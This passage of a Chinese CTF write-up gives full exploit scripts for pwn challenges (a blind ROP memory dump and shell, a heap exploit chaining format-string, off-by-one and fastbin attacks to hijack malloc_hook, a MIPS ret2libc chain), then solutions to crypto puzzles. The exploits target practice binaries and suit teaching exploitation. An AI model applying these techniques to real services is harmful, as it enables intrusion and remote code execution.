        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        sh.recv()
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.find('Hello'):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        sh.recv()
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True

length = 216
stop_gadget = 0x4007d6
addr = 0x4007d6#libc_scu_init is behind from main
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1
#0x40095a

获取puts_plt

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400630
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 10001)
        sh.recvuntil('Please tell me:')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            sh.recv()
            content = sh.recv()
            if content.find('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1
length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = get_puts_addr(length,rdi_ret,stop_gadget)

print hex(puts_plt)
#0x400635

dump文件

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
    addr = 0x4005fd#0x400000
    result = ""
    offset = 0
    while addr < 0x401000:
        #print hex(addr)
        data = leak(length, rdi_ret, puts_plt, addr+offset, stop_gadget)
        print "data is " + data
        if data is None:
            continue
        else:
            result = data
            offset += len(data)
            print "[*] offset is "+ hex(offset)
            print "[*] addr is "+ hex(addr)
        with open('code', 'ab') as f:
            f.write(result)


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 10001)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('Please tell me:')
    sh.sendline(payload)
    try:
        #sh.recvuntil(rdi_ret)
        #hello = 'a' * length + p8((rdi_ret>>1)&0xff) + p8((rdi_ret>>2)&0xff) + p8(rdi_ret & 0xff)
        hello = 'a' * length + '\x63\x09\x40'
        print "[*] hello is " + hello
        sh.recvuntil(hello)
        #sh.recv()
        data = sh.recv()
        sh.close()

        try:
            #print hex(rdi_ret)
            data = data[:data.index("\nHello")]
            #print data
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None


length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635

print "this is " + hex(rdi_ret)
leakfunction(length, rdi_ret, puts_plt, stop_gadget)

#io.interactive()

中间好像会中断一次,应该是申请了太多次,导致的断开连接了...

但是没事,继续泄露就行了,然后dump下来看汇编,找到对应的puts_plt哪行对应的地址...舒服了

一个重点:

这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个

很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的

exp

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

length = 216
stop_gadget = 0x4007d6
brop_gadget = 0x40095a
rdi_ret = brop_gadget + 9
puts_plt = 0x400635
puts_got = 0x601018
sh = remote('127.0.0.1', 10001)
sh.recvuntil('Please tell me:')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
sh.recvuntil('\x63\x09\x40')
data = sh.recvuntil('\nHello', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
print "[*] puts_addr is " + hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

PWN4

考点:
fmt、offbyone、chunk overlapping、unsortedbin attack、fastbin attack

题解
漏洞点

  1. banner 函数处有一处格式化字符串漏洞,可以用来泄露栈上的程序基地址和 libc 地址

  1. 在 get_input 函数处,存在一处 offbyone

  1. 在 add_note 函数中,只有当 key = 0x2B 时,可以 malloc 任意大小的 chunk,否则不能 malloc fastbin 大小的 chunk:

  1. 所以这里利用 offbyone 配合 unsorted bin attack,使得 key 为 0x2B(malloc+88 的低 12 bit 的字节是 B),再使用一次 chunk overlapping,即可进行 fastbin attack,之后覆盖 fd 为 malloc 上方,覆盖 malloc_hook 即可。

EXP

from pwn import *

#context.log_level="debug"
DEBUG=1
EXEC_FILE = "./pwn1"
REMOTE_LIBC = "/home/h4lo/ctf/glibc/glibc_2_23/glibc-2.23/_debug/lib/libc-2.23.so"

def main():
    if DEBUG:
        r = process(EXEC_FILE)
        elf = ELF(EXEC_FILE)
        libc = elf.libc
        one_gadget = 0xce51c
    else:
        r = remote("")
        elf = ELF(EXEC_FILE)
        libc = ELF(REMOTE_LIBC)
    one_gadget = 0xce51c

    def menu(idx):
        sleep(0.1)
        r.recv()
        sleep(0.1)
        r.sendline(str(idx))

    def add(idx,size,content):
        menu(1)
        r.recv()
        r.sendline(str(idx))
        r.recv()
        r.sendline(str(size))
        r.recv()
        r.sendline(str(content))

    def delete(idx):
        menu(2)
        r.recv()
        r.sendline(str(idx))

    '''
    def show(idx):
        menu()
            r.recv()
            r.sendline(str(idx))
    '''

    def edit(idx,content):
        menu(4)
        r.recv()
        r.sendline(str(idx))
        r.recv()
        r.sendline(str(content))


    r.recv()

    r.sendline("%15$lx%11$lx")


    r.recvuntil("Hello, ")

    libc_addr = eval("0x"+r.recv(2*6)) - 267 - libc.symbols['__libc_start_main']

    success(hex(libc_addr))

    base_addr = eval("0x"+r.recv(2*6)) - 28 - 0x116a

    success(hex(base_addr))

    add(0,0x88,'a')
    add(1,0x88,'a')
    add(2,0x88,'a')
    add(3,0x88,'a')
    add(4,0x88,'a')
    add(5,0x88,'a')


    delete(0)
    edit(3,'a'*0x80+p64(0x240)+p8(0x90))

    delete(4)

    add(0,0x88,'a')
    add(4,0x88,'a')
    add(6,0x88,'a')

    edit(0,'a'*0x88+p8(0x71))
    edit(1,'a'*0x60+p64(0)+p64(0x21)+'a'*0x18+p64(0x71))
    edit(2,'a'*0x60+p64(0)+p8(0x21))

    #add(7,0x88,'a')
    #edit(1,p64(0)+p64(base_addr+0x20202f))

    edit(3,p64(0)+p64(base_addr+0x20202f))
    #add(5,0xf8,'a')
    #add(6,0x1f0,"a")
    delete(1)
    delete(2)

    add(1,0x110,'a')
    edit(6,p64(libc_addr + libc.symbols['main_arena'] - 0x30 - 3))

    #pause()
    r.sendlineafter(">> ",'1')
    r.sendlineafter(":",'2')
    #add(2,0x68,'a')

    r.sendlineafter(":\n",str(0x68))
    if "hack" in r.recvline():
        return
    r.sendline("H4lo")

    payload = 'a'*0x13 + p64(libc_addr + one_gadget)    # one_gadget
    add(8,0x68,payload)

    add(9,0x68,"H4lo")

    r.interactive()

if __name__ == '__main__':
    while(True):
        main()

PWN5

考点:
一道 Mips 指令的 rop 的题目,需要对 mips 指令有一定的熟悉

题解

  1. 逆向代码,在 vuln 函数中存在一处栈溢出

  1. 但是没有 system 函数,需要进行 ret2libc 的利用,先泄露出 got 表里面的内容,之后调用 system 函数即可。

  1. /bin/sh 字符串在 libc 中也可以找到,直接调用 system("/bin/sh") 即可。

EXP

from pwn import *

#context.log_level="debug"

r = remote("127.0.0.1",8881)
#r = process("./build_pwn2.sh")
elf = ELF("./pwn2")
libc = ELF("/home/h4lo/mipsel-env/lib/libuClibc-0.9.33.2.so")


payload = "H4lo"
#payload += p32(0x00410AA0)

r.recvuntil("What's your name:")
r.sendline(payload)

sleep(0.2)
r.recv()

sleep(0.2)

# gadget1
payload = p32(1) * 9
payload += p32(0x004006C8)

#payload += p32(elf.plt['puts'])    # fp
payload += p32(1)

payload += "a" * 0x18
payload += 'a' * 4 # s0
#payload += p32(elf.got['puts']) # s1
payload += p32(0x00410B58)
payload += p32(0x0040092C) # s2


payload += 'a' * 4 # s3
payload += p32(0x004007A4) # ra


payload += 'a'*0x20
payload += p32(0x004007C4)

sleep(0.2)
r.send(payload)

r.recv()
#success(a)
libc_addr = u32(r.recv(4))-libc.symbols['puts']

success("libc_addr: " + hex(libc_addr))

r.recv()
#r.send(payload)
system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + 0x9bc48



# gadget2
payload = 'a'*0x24
payload += p32(0x004006C8)

payload += 'a'*0x1c
payload += 'a'*4 #s0
payload += p32(binsh_addr)
payload += p32(system_addr)
payload += 'a'*4
payload += p32(0x004007A4)

r.send(payload)


r.interactive()

Crypto

funny_php

根据给出的加密函数,写出解密php代码。

<?php
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";

$miwen=strrev($miwen);
$miwen=str_rot13($miwen);
$miwen=base64_decode($miwen);
print($miwen);

for($i=0;$i<strlen($miwen);$i++){
    $str1=ord($miwen[$i])-$i;
    $_=$_.$str1;
}

$arr1=array();
for($i=0;$i<2*strlen($_);$i=$i+2){
    $c=substr($_,$i,2);
    $arr1[$i]=$c;
}

$arr2=array();
$j=0;
for($i=0;$i<count($arr1);$i++){
    if($arr1[$i]){
        $arr2[$j]=$arr1[$i];
        $j++;
    }
}

for($i=0;$i<count($arr2);$i++){
    $_c=$arr2[$i];
    $_c=chr($_c);
    $str2=$str2.$_c;
}



$a=array();

for($i=0;$i<2*strlen($str2);$i=$i+2){
    $c=substr($str2,$i,2);
    $a[$i]=$c;
}



$d=array();
$j=0;
for($i=0;$i<count($a);$i++){
    if($a[$i]){
        $d[$j]=$a[$i];
        $j++;
    }
}


$str3="";
for($i=0;$i<count($d);$i++){
    $_c=$d[$i];
    $str3=$str3.$_c;
}
print($str3);   //输出$str3后得到unpack后的字符串,根据unpack函数规则,构造最终的flag
print_r(pack("C*",102,108,97,103,123,101,97,115,121,95,101,110,99,111,100,101,125));
?>

flag{easy_encode}

This_is_not_a_standard_AES256

先nc获取信息

PS C:\Users\HiragaAya> nc 49.233.64.38 22333
This is you Sbox(tuple)
126, 143, 160, 15, 180, 170, 84, 152, 109, 20, 40, 136, 49, 179, 125, 165, 53, 251, 215, 87, 167, 41, 241, 178, 253, 239, 233, 193, 60, 110, 14, 246, 89, 228, 31, 42, 72, 213, 22, 102, 111, 52, 28, 254, 5, 219, 98, 94, 36, 161, 223, 191, 62, 57, 200, 133, 130, 149, 93, 248, 3, 13, 164, 76, 17, 101, 236, 51, 182, 81, 127, 185, 197, 100, 166, 183, 10, 18, 243, 196, 201, 119, 85, 131, 80, 46, 7, 224, 32, 158, 146, 71, 19, 25, 112, 249, 138, 139, 55, 175, 226, 1, 78, 106, 181, 211, 118, 218, 9, 64, 173, 207, 105, 63, 108, 235, 77, 134, 45, 44, 88, 171, 240, 65, 232, 33, 82, 227, 217, 129, 70, 8, 177, 128, 252, 135, 61, 190, 12, 150, 58, 216, 59, 121, 206, 188, 187, 104, 27, 242, 34, 212, 30, 176, 203, 244, 230, 141, 247, 114, 117, 0, 237, 39, 234, 21, 148, 2, 238, 250, 74, 4, 145, 29, 189, 192, 103, 229, 123, 163, 144, 153, 255, 154, 202, 86, 225, 195, 67, 37, 245, 43, 142, 221, 147, 209, 174, 97, 92, 231, 90, 107, 122, 56, 157, 35, 6, 156, 199, 120, 68, 116, 162, 79, 69, 198, 95, 38, 140, 169, 205, 204, 115, 210, 113, 23, 24, 132, 91, 73, 184, 172, 54, 159, 214, 47, 186, 208, 96, 66, 151, 83, 168, 99, 222, 26, 75, 124, 48, 137, 50, 155, 194, 16, 220, 11
----------------
This is you key(str)
letrvcgspwxjknzfylteavqbimszrwhk
----------------
This is you cipher(list)
93, 78, 25, 81, 18, 232, 250, 12, 94, 128, 81, 128, 88, 156, 180, 110, 151, 87, 197, 247, 8, 228, 51, 71, 102, 38, 146, 218, 40, 70, 6, 16
----------------
Enjoy it!
PS C:\Users\HiragaAya>

然后使用exp.py

import AES256,sbox
send = (126, 143, 160, 15, 180, 170, 84, 152, 109, 20, 40, 136, 49, 179, 125, 165, 53, 251, 215, 87, 167, 41, 241, 178, 253, 239, 233, 193, 60, 110, 14, 246, 89, 228, 31, 42, 72, 213, 22, 102, 111, 52, 28, 254, 5, 219, 98, 94, 36, 161, 223, 191, 62, 57, 200, 133, 130, 149, 93, 248, 3, 13, 164, 76, 17, 101, 236, 51, 182, 81, 127, 185, 197, 100, 166, 183, 10, 18, 243, 196, 201, 119, 85, 131, 80, 46, 7, 224, 32, 158, 146, 71, 19, 25, 112, 249, 138, 139, 55, 175, 226, 1, 78, 106, 181, 211, 118, 218, 9, 64, 173, 207, 105, 63, 108, 235, 77, 134, 45, 44, 88, 171, 240, 65, 232, 33, 82, 227, 217, 129, 70, 8, 177, 128, 252, 135, 61, 190, 12, 150, 58, 216, 59, 121, 206, 188, 187, 104, 27, 242, 34, 212, 30, 176, 203, 244, 230, 141, 247, 114, 117, 0, 237, 39, 234, 21, 148, 2, 238, 250, 74, 4, 145, 29, 189, 192, 103, 229, 123, 163, 144, 153, 255, 154, 202, 86, 225, 195, 67, 37, 245, 43, 142, 221, 147, 209, 174, 97, 92, 231, 90, 107, 122, 56, 157, 35, 6, 156, 199, 120, 68, 116, 162, 79, 69, 198, 95, 38, 140, 169, 205, 204, 115, 210, 113, 23, 24, 132, 91, 73, 184, 172, 54, 159, 214, 47, 186, 208, 96, 66, 151, 83, 168, 99, 222, 26, 75, 124, 48, 137, 50, 155, 194, 16, 220, 11) 
invsbox = sbox.InvSbox(send)
print (invsbox)
cipher = [93, 78, 25, 81, 18, 232, 250, 12, 94, 128, 81, 128, 88, 156, 180, 110, 151, 87, 197, 247, 8, 228, 51, 71, 102, 38, 146, 218, 40, 70, 6, 16]
key = "letrvcgspwxjknzfylteavqbimszrwhk"
plain = AES256.decrypt(cipher,key,"ECB","")

AES256.plain_to_ascii(plain)

运行得到逆S盒

161, 101, 167, 60, 171, 44, 206, 86, 131, 108, 76, 255, 138, 61, 30, 3, 253, 64, 77, 92, 9, 165, 38, 225, 226, 93, 245, 148, 42, 173, 152, 34, 88, 125, 150, 205, 48, 189, 217, 163, 10, 21, 35, 191, 119, 118, 85, 235, 248, 12, 250, 67, 41, 16, 232, 98, 203, 53, 140, 142, 28, 136, 52, 113, 109, 123, 239, 188, 210, 214, 130, 91, 36, 229, 170, 246, 63, 116, 102, 213, 84, 69, 126, 241, 6, 82, 185, 19, 120, 32, 200, 228, 198, 58, 47, 216, 238, 197, 46, 
243, 73, 65, 39, 176, 147, 112, 103, 201, 114, 8, 29, 40, 94, 224, 159, 222, 211, 160, 106, 81, 209, 143, 202, 178, 247, 14, 0, 70, 133, 129, 56, 83, 227, 55, 117, 135, 11, 249, 96, 97, 218, 157, 192, 1, 180, 172, 90, 194, 166, 57, 139, 240, 7, 181, 183, 251, 207, 204, 89, 233, 2, 49, 212, 179, 62, 15, 74, 20, 242, 219, 5, 121, 231, 110, 196, 99, 153, 132, 23, 13, 4, 104, 68, 75, 230, 71, 236, 146, 145, 174, 137, 51, 175, 27, 252, 187, 79, 72, 215, 208, 54, 80, 184, 154, 221, 220, 144, 111, 237, 195, 223, 105, 151, 37, 234, 18, 141, 128, 107, 45, 254, 193, 244, 50, 87, 186, 100, 127, 33, 177, 156, 199, 124, 26, 164, 115, 66, 162, 168, 25, 122, 22, 149, 78, 155, 190, 31, 158, 59, 95, 169, 17, 134, 24, 43, 182

填入AES256.py的前面

(161, 101, 167, 60, 171, 44, 206, 86, 131, 108, 76, 255, 138, 61, 30, 3, 253, 64, 77, 92, 9, 165, 38, 225, 226, 93, 245, 148, 42, 173, 152, 34, 88, 125, 150, 205, 48, 189, 217, 163, 10, 21, 35, 191, 119, 118, 85, 235, 248, 12, 250, 67, 41, 16, 232, 98, 203, 53, 140, 142, 28, 136, 52, 113, 109, 123, 239, 188, 210, 214, 130, 91, 36, 229, 170, 246, 63, 116, 102, 213, 84, 69, 126, 241, 6, 82, 185, 19, 120, 32, 200, 228, 198, 58, 47, 216, 238, 197, 46, 
243, 73, 65, 39, 176, 147, 112, 103, 201, 114, 8, 29, 40, 94, 224, 159, 222, 211, 160, 106, 81, 209, 143, 202, 178, 247, 14, 0, 70, 133, 129, 56, 83, 227, 55, 117, 135, 11, 249, 96, 97, 218, 157, 192, 1, 180, 172, 90, 194, 166, 57, 139, 240, 7, 181, 183, 251, 207, 204, 89, 233, 2, 49, 212, 179, 62, 15, 74, 20, 242, 219, 5, 121, 231, 110, 196, 99, 153, 132, 23, 13, 4, 104, 68, 75, 230, 71, 236, 146, 145, 174, 137, 51, 175, 27, 252, 187, 79, 72, 215, 208, 54, 80, 184, 154, 221, 220, 144, 111, 237, 195, 223, 105, 151, 37, 234, 18, 141, 128, 107, 45, 254, 193, 244, 50, 87, 186, 100, 127, 33, 177, 156, 199, 124, 26, 164, 115, 66, 162, 168, 25, 122, 22, 149, 78, 155, 190, 31, 158, 59, 95, 169, 17, 134, 24, 43, 182)
flag{sbox_to_invsbox}
PS C:\Users\HiragaAya>

crackWithFreq

利用字母频率破解密文。

首先使用重合指数法猜接触密钥长度,得到长度为 12。这里解出出来的长度其实是 key1 key2 长度的最小公倍数。然后,将密文中的 每个字母以 12 为间隔分 12 组(假如密文是: ABCDEFGHIJKLMN,以 3 为间隔分一 组,那么 ADGJM 就是一组)。

这样每组既可以看作一个仿射密码的破解,这时密钥空间只有256,可以爆破利用字母频率进行破解。

# -*- coding: utf-8 -*-
from pycipher import Affine
import string

table = string.ascii_lowercase

englishExpectedFrequencies = {
    'a': 0.08167, 'b': 0.01492, 'c': 0.02782, 'd': 0.04253,
    'e': 0.12702, 'f': 0.02228, 'g': 0.02015, 'h': 0.06094,
    'i': 0.06966, 'j': 0.00153, 'k': 0.00772, 'l': 0.04025,
    'm': 0.02406, 'n': 0.06749, 'o': 0.07507, 'p': 0.01929,
    'q': 0.00095, 'r': 0.05987, 's': 0.06327, 't': 0.09056,
    'u': 0.02758, 'v': 0.00978, 'w': 0.02361, 'x': 0.00150,
    'y': 0.01974, 'z': 0.00074
    }

dic = {1: 1, 3: 9, 5: 21, 7: 15, 9: 3, 11: 19, 15: 7, 17: 23, 19: 11, 21: 5, 23: 17, 25: 25}


# 找出假定秘钥长度内的最可能长度
# 所用的方法:重合指数法
def decryptFirstStage(toDecrypt):   # 将密文传入。
    min_len = 3
    max_len = 15
    toDecrypt = toDecrypt.lower()   # 将密文转为小写

    best_len = 0
    best_aver = 0

    best_rate = 0.65
    min_rate = 100

    for i in range(0, len(toDecrypt)):  # 每次循环测试一个密钥长度。
        lengthOfKey = i + 1
        averageIC = 0.0             # 重置 averageIC
        sequenceDictionary = {}     # 序列字典或用于统计分组。
        hadZeroError = False  # hadZeroError 或用于预防某种错误的计算。

        # 此循环用于生成分组字典 sequenceDictionary
        for index in range(0, len(toDecrypt)):
            sequenceNumber = index % lengthOfKey    # 密文中的第 index 个字符应该属于那个分组。
            if sequenceNumber in sequenceDictionary:    # 分组若存在,则将 toDecrypt[index] 加入分组字符串,如不存在,则先创建再添加。
                sequenceDictionary[sequenceNumber] += toDecrypt[index]
            else:
                sequenceDictionary[sequenceNumber] = toDecrypt[index]

        # 此循环用于生成各个分组的重合指数和 averageIC
        for stringSequence in sequenceDictionary.values():
            try:
                averageIC += calculateIC(stringSequence)    # 统计各个分组的重合指数,并求和。最后储存在 averageIC 中。引入了自定义函数 calculateIC()
            except ZeroDivisionError:
                hadZeroError = True
                break

        if hadZeroError == True:
            averageIC = 0
        else:
            averageIC /= len(sequenceDictionary.keys())     # averageIC 求平均值。

        rate = abs(1 - (averageIC / best_rate))

        # 这个判断用于选出最佳长度
        if (min_len <= lengthOfKey <= max_len) and (rate < min_rate):     # 判断条件为: averageIC 最大的一组 & 密钥长度区间在[3,5]
            min_rate = rate                                               # 考虑是否可以修改循环次数?
            best_len = lengthOfKey\

    # 找出指定秘钥长度范围内averageIC最大的那个秘钥长度
    # print('最佳长度:', best_len)
    return best_len


# 用于计算重合指数,输入类型为 str
def calculateIC(inputText):
    inputText = "".join(inputText.lower().split())  # 是否可以省略这一步?
    frequency = getFrequencyOfText(inputText)       # 获取字母-次数字典。
    ic = 0.0

    # 循环26个小写字母
    for letter in table:
        if letter in frequency:
            ic += frequency[letter] * (frequency[letter] - 1)

    ic /= len(inputText) * (len(inputText) - 1)     # 重合指数计算公式。
    return ic


def getFrequencyOfText(inputText):
    frequency = {}
    for letter in inputText:
        if letter in frequency:
            frequency[letter] += 1
        else:
            frequency[letter] = 1
    return frequency


def getGroups(raw, block):
    groups = []
    for i in range(block):
        k = i
        part = ""
        while True:
            try:
                part += raw[k]
                k += block
            except:
                break
        groups.append(part)
    return groups


def getEnglishScore(inputText):
    """计算英文字符串的“评分”,计算方法为:
    Score = (字符串中各个字母的数量 * 其对应的字母频率)的总和 / 字符串去掉空格后的长度

    :param inputText: 英文字符串 string
    :return: 评分 int
    """
    inputText = inputText.lower().replace(" ", "")
    score = sum([englishExpectedFrequencies.get(char, 0) for char in inputText]) / len(inputText)

    return score


def crack(cipher):
    fitness = float("-inf")
    bestResult = ""
    key_a = None
    key_b = None
    for i in dic.keys():
        for j in range(0, 26):
            af = Affine(a=i, b=j)
            result = af.decipher(cipher)
            bestFitness = getEnglishScore(result)
            if bestFitness > fitness:
                key_a = i
                key_b = j
                fitness = bestFitness
                bestResult = result

    return bestResult, key_a, key_b


en = "ltpflwfkqnyfmbjbchqnadkaykyhgpzaezjfrfkdonetcvcrkaaronhdnvghmyzwshrhefgqjfbrphqmgvglgvlfonzzqngxqfsessrhphupnvlfxsxotmzccnqfvmfdlhujqvezonbhsnsgykffzmbhefxtrrfjqsxywnolschammigsuetynevesboxmolrirbzhnhtynalodsgnyhxahlrifjqyijphgaqrlrclrhpattjcegcviubmztdvysstskrqelgfzjmjqhjmnmqkhcumftngxltgebfossacnvscaosixddmzcuqdyxciqaugqzoatgxnhmvczlrrfezzhlqalpogfejetmqfthtojfxeuxmqmushcbwsqtmdfdovtulzhlqccnobdshiqascgqxuyjwegbqdfrogrrgxhwfqpqqayooeoxanrunprzsigmatptaxjfavmaaqazoirructbmffenahsjxyahuajtomfsfnavgbcvsysxsjqkggjvlfreqoxaqlwflfzmipxyqiqaxfgoskauczogsdbaurejccjfoxgnknehlpnkyyjauowhymqfsceosbrydlkofyesrdzakazkbrzcxyastfsnymcarhjmtvgvbtrueoxmlljvhfljqgcmqtcrzjjscrahdtgfozonxvrigqunlrcrilnngvkfsmzwroxmlljvhfljqgcmhlgczvztenqnmpcvocuafoxmqpkkfclpsgafetgcfoezqoajpveuegywqoajitraltjssjedczjvessyevjmsycykypjijensqocbfftehhgltcqocpjijepscsfogjwhvncnbemzospqolhgedcfzsyijwnaoubzjymfnaynpnqogepzdlvgcooftfwsksytpdymjoxcdnnugwysrvhnhtynalodsgnyhlvsacyspwweuxanvusssseetnyfncvkvetsozqtbetyysixyagcgkoky"
length = decryptFirstStage(en)
print "Length is: %d" % length
gp = getGroups(en, length)
key1 = ""
key2 = ""
for p in gp:
    res, a, b = crack(p)
    key1 += table[a]
    key2 += table[b]
print key1 + '\n' + key2

JustBase

主要考察的是 base64 的原理。这道题将 base64 编码表中的 0123456789 替换成了 )!@#$%^&*( 。解题者可以通过打印密文中的出现的字符来发现这个规律。

key = ")!@#$%^&*("
tmp = ""
for c in b:
    if c in '!@#$%^&*()':
        c = key.index(c)
    tmp += str(c)
print base64.b64decode(tmp)
0 条评论
某人
表情
可输入 255